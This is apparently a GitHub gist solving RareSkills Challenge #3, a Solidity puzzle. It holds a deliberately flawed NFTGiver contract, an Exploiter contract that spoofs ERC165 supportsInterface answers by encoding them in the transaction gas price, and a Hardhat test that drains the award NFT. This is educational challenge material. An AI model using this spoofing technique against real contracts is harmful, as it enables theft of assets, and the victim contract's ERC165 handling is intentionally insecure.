Skip to content

Instantly share code, notes, and snippets.

@cygaar
Created November 20, 2022 18:09
Show Gist options
  • Save cygaar/b240d6fe732df34790d4ab31367aeb07 to your computer and use it in GitHub Desktop.
Save cygaar/b240d6fe732df34790d4ab31367aeb07 to your computer and use it in GitHub Desktop.
RareSkills Challenge #3
//SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.15;
import '@openzeppelin/contracts/utils/introspection/ERC165.sol';
import '@openzeppelin/contracts/token/ERC721/ERC721.sol';
contract Award is ERC721 {
constructor() ERC721('Award', 'A') {
_mint(msg.sender, 1337);
}
}
// NOTE
// The NFTGiver contract does not follow the ERC165 spec properly. It's supposed
// to consist of two calls, one to determine if it is ERC165, then the specific
// protocol. Don't copy this code for production applications.
contract NFTGiver {
uint256 public constant GAS_LIMIT = 46;
struct Game {
bool success1;
bool success2;
bool success3;
bool success4;
}
mapping(ERC165 => Game) private passedChallenge;
bytes4 immutable ERC1155Reciever = 0x4e2312e0;
bytes4 immutable ERC1363Reciever = 0x88a7ca5c;
bytes4 immutable ERCRareReciever = 0x13371337;
bytes4 immutable ERCBadReceiver = 0xdecafc0f;
ERC721 private award;
uint256[] private order;
constructor(ERC721 awardNFT, uint256[] memory _order) {
award = awardNFT;
order = _order;
}
function _supportsInterface(ERC165 target, bytes4 _interface)
public
view
returns (bool)
{
return target.supportsInterface{gas: GAS_LIMIT}(_interface);
}
function challenge1(ERC165 target) external {
require(_supportsInterface(target, ERC1155Reciever));
require(!_supportsInterface(target, ERC1363Reciever));
require(!_supportsInterface(target, ERCRareReciever));
require(!_supportsInterface(target, ERCBadReceiver));
passedChallenge[target].success1 = true;
require(order[order.length - 1] == 1);
order.pop();
}
function challenge2(ERC165 target) external {
require(!_supportsInterface(target, ERC1155Reciever));
require(_supportsInterface(target, ERC1363Reciever));
require(!_supportsInterface(target, ERCRareReciever));
require(!_supportsInterface(target, ERCBadReceiver));
require(order[order.length - 1] == 2);
order.pop();
passedChallenge[target].success2 = true;
}
function challenge3(ERC165 target) external {
require(!_supportsInterface(target, ERC1155Reciever));
require(!_supportsInterface(target, ERC1363Reciever));
require(_supportsInterface(target, ERCRareReciever));
require(!_supportsInterface(target, ERCBadReceiver));
require(order[order.length - 1] == 3);
order.pop();
passedChallenge[target].success3 = true;
}
function challenge4(ERC165 target) external {
require(!_supportsInterface(target, ERC1155Reciever));
require(!_supportsInterface(target, ERC1363Reciever));
require(!_supportsInterface(target, ERCRareReciever));
require(_supportsInterface(target, ERCBadReceiver));
require(order[order.length - 1] == 4);
order.pop();
passedChallenge[target].success4 = true;
}
function success(ERC165 target) external {
require(passedChallenge[target].success1);
require(passedChallenge[target].success2);
require(passedChallenge[target].success3);
require(passedChallenge[target].success4);
delete passedChallenge[target];
require(award.ownerOf(1337) == address(this));
award.transferFrom(address(this), msg.sender, 1337);
}
}
contract Exploiter {
fallback() external payable {
assembly {
let result := eq(shr(224, calldataload(4)), gasprice())
mstore(returndatasize(), result)
return(0x0, 32)
}
}
}
const {
time,
loadFixture,
setBlockGasLimit,
} = require('@nomicfoundation/hardhat-network-helpers');
const { anyValue } = require('@nomicfoundation/hardhat-chai-matchers/withArgs');
const { expect } = require('chai');
const { ethers } = require('hardhat');
const shuffleArray = (array) => {
for (let i = array.length - 1; i > 0; i--) {
const j = Math.floor(Math.random() * (i + 1));
const temp = array[i];
array[i] = array[j];
array[j] = temp;
}
};
// RULES
// - You may only use the attacker account
// - Multiple transactions allowed, but fewer makes you cooler
// - You may not modify the victim contract or anything it inherits from
// - You may not modify NFT or the parent contracts
// - You may not modify the tests, you may only write code in the specified block
// - You may not tamper with the javascript random number generator
// - You pass the challenge if you pass the test, but if you can
// lower the GAS_LIMIT below 46, that makes you cooler
describe('ERC165Challenge', function () {
this.beforeEach(async function () {
await ethers.provider.send('hardhat_reset');
[owner, attacker] = await ethers.getSigners();
const AwardFactory = await ethers.getContractFactory('Award');
const award = await AwardFactory.deploy();
const order = [1, 2, 3, 4];
shuffleArray(order);
const Factory = await ethers.getContractFactory('NFTGiver');
const victim = await Factory.deploy(award.address, order);
this.victim = victim;
this.attacker = attacker;
this.award = award;
this.order = order;
award.transferFrom(owner.address, victim.address, 1337);
});
[1, 2, 3, 4, 5, 6, 7].forEach(function (round) {
it(`Hack Round ${round}`, async function () {
/* YOUR CODE HERE */
const ExploiterFactory = await ethers.getContractFactory(
'Exploiter'
);
let exploiter = await ExploiterFactory.deploy();
for (let i of this.order.reverse()) {
if (i === 1) {
await this.victim
.connect(this.attacker)
.challenge1(exploiter.address, {
gasPrice: 1310921440,
});
} else if (i === 2) {
await this.victim
.connect(this.attacker)
.challenge2(exploiter.address, {
gasPrice: 2292697692,
});
} else if (i === 3) {
await this.victim
.connect(this.attacker)
.challenge3(exploiter.address, {
gasPrice: 322376503,
});
} else {
await this.victim
.connect(this.attacker)
.challenge4(exploiter.address, {
gasPrice: 3737844751,
});
}
}
await this.victim.connect(this.attacker).success(exploiter.address);
});
});
this.afterEach(async function () {
expect(await this.award.ownerOf(1337)).to.be.equal(
this.attacker.address
);
});
this.afterAll(async function () {
const limitUsed = await this.victim.GAS_LIMIT();
const numTxns = await ethers.provider.getTransactionCount(
attacker.address
);
console.log(`\nGas limit used: ${limitUsed}`);
console.log(`Number of Transactions: ${numTxns}`);
});
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment